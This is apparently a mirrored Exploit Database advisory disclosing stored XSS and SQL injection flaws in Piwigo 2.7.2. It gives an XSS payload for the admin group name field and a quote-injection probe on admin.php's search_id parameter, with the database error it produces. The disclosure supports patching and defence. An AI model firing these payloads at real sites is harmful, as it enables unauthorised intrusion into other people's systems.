Piwigo 2.7.2 – Multiple Vulnerabilities

• Exploit Database
• 20 阅读

• 作者： TaurusOmar
  日期： 2014-12-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35583/

•  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
   INDEPENDENT SECURITY RESEARCHER 
   PENETRATION TESTING SECURITY
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
   
  
  # Exploit Title: Piwigo 2.7.2 - SQL Injection / Cross Site Scripting Vulnerability's 
  # Date: 19/12/2014
  # Url Vendor: http://www.piwigo.org/
  # Vendor Name: Piwigo 
  # Version: 2.7.2
  # CVE:CVE-2014-1470
  # CVE References: CVE-2013-1468, CVE-2013-1469
  # Author: TaurusOmar	
  # Tiwtter: @TaurusOmar_
  # Email:taurusomar13@gmail.com
  # Home:overhat.blogspot.com
  # Tested On: Bugtraq Optimus
  # Risk: High
  
  
  Description
  Piwigo is a photo gallery software for the web that comes with powerful features to publish and manage your collection of pictures.
  
  
  ------------------------
  + CROSS SITE SCRIPTING + 
  ------------------------
  # Exploiting Description - Get into code xss in the box of group list. 
  
  <fieldset>
  <legend>Add Group</legend><p>
  <strong>Name Group</strong><br>
  YOUR GROUP NAME O POC
  <input type="text" size="20" maxlength="50" name="groupname"></p>
  <p class="actionButtons">
  <input type="submit" value="Add" name="submit_add" class="submit">
  <a id="addGroupClose" href="https://www.exploit-db.com/exploits/35583/#">Cancel</a></p>
  <input type="hidden" value="24322c55681c00da423a8a7b21b79640" name="pwg_token">
  </fieldset>
  
  #P0c
  "><img src=x onerror=prompt(1);>
  
  #Proof Concept
  http://i.imgur.com/qFyJz6q.jpg
  
  
  ------------------------
  + Sql Injection +
  ------------------------
  # Exploiting Description - Sql Injection in control panel of admin and others users . 
  
  #P0c
  http://site.com/piwigo/admin.php?page=history&search_id=5'
  
  SELECT
  date,
  time,
  user_id,
  IP,
  section,
  category_id,
  tag_ids,
  image_id,
  image_type
  FROM ucea_history
  WHERE 
  ; in /home/site.com/public_html/piwigo/include/dblayer/functions_mysqli.inc.php on line 830
  
  #Proof Concept
  http://i.imgur.com/wpzMmmu.jpg